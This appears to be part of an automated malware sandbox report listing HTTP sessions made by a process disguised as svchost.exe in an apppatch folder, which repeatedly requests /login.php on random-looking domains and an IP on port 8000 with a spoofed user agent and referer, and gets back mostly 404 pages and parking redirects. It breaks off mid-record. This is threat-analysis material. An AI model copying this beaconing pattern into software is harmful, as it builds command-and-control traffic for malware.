                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:07.781213045 CET290OUTGET /dh/147287063_134827.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.232.163:8000
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Nov 11, 2024 18:13:08.089905024 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:07 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.174089909 CET290OUTGET /dh/147287063_134827.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.232.163:8000
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.470797062 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:29.756979942 CET290OUTGET /dh/147287063_134827.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.232.163:8000
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Nov 11, 2024 18:13:30.529803991 CET722INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:29 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          20192.168.2.65892764.225.91.73804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.706023932 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: galynuh.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.961796999 CET816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:12 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.963551044 CET816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:12 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.964209080 CET816INHTTP/1.1 200 OK
                                                                                                                                                                                                          server: nginx/1.18.0 (Ubuntu)
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:12 GMT
                                                                                                                                                                                                          content-type: text/html
                                                                                                                                                                                                          content-length: 593
                                                                                                                                                                                                          last-modified: Wed, 22 Feb 2023 21:25:52 GMT
                                                                                                                                                                                                          etag: "63f68860-251"
                                                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 35 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 6e 6f 6a 73 2e 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 6c 65 74 20 72 65 74 72 69 65 73 20 3d 20 33 2c 20 69 6e 74 65 72 76 61 6c 20 3d 20 31 30 30 30 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 72 65 74 72 79 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 22 68 74 74 70 73 3a 2f 2f 64 6f 6d 61 69 6e 63 6e 74 72 6f 6c 2e 63 6f 6d 2f 3f 6f 72 69 67 68 6f 73 74 3d 22 20 2b 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 72 65 73 70 6f 6e 73 65 2e 6a 73 6f 6e 28 29 29 0a 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 64 61 74 61 20 3d 3e 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head> <meta http-equiv="refresh" content="5;url=https://nojs.domaincntrol.com" /></head><body> <script> let retries = 3, interval = 1000; (function retry() { fetch("https://domaincntrol.com/?orighost=" + window.location.href) .then(response => response.json()) .then(data => window.location.href = data) .catch(error => { if (retries > 0) { retries--; setTimeout(retry, interval); } else { console.error("Error: ", error); } }); })(); </script></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          21192.168.2.66203476.223.67.189804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.966931105 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qexyhuv.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.402798891 CET259INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: openresty
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:13 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 114
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          22192.168.2.662036103.224.212.210804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971513033 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyxynyx.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.522627115 CET340INHTTP/1.1 302 Found
                                                                                                                                                                                                          date: Mon, 11 Nov 2024 17:13:13 GMT
                                                                                                                                                                                                          server: Apache
                                                                                                                                                                                                          set-cookie: __tad=1731345193.2353053; expires=Thu, 09-Nov-2034 17:13:13 GMT; Max-Age=315360000
                                                                                                                                                                                                          location: http://ww25.lyxynyx.com/login.php?subid1=20241112-0413-1393-8b92-799b17a46fa8
                                                                                                                                                                                                          content-length: 2
                                                                                                                                                                                                          content-type: text/html; charset=UTF-8
                                                                                                                                                                                                          connection: close
                                                                                                                                                                                                          Data Raw: 0a 0a
                                                                                                                                                                                                          Data Ascii:


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          23192.168.2.66203544.221.84.105804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971652031 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyciz.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.401648998 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:13 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=15448eee74eec9b30dccd9753fd1ef5e|66.23.206.109|1731345193|1731345193|0|1|0; path=/; domain=.gadyciz.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          24192.168.2.662037154.85.183.50804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.971950054 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.807904959 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:13 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:13.858683109 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:14.143414021 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:14 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.170813084 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyval.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:36.456219912 CET307INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:36 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 138
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          ETag: "663ee226-8a"
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
                                                                                                                                                                                                          Nov 11, 2024 18:13:37.077326059 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
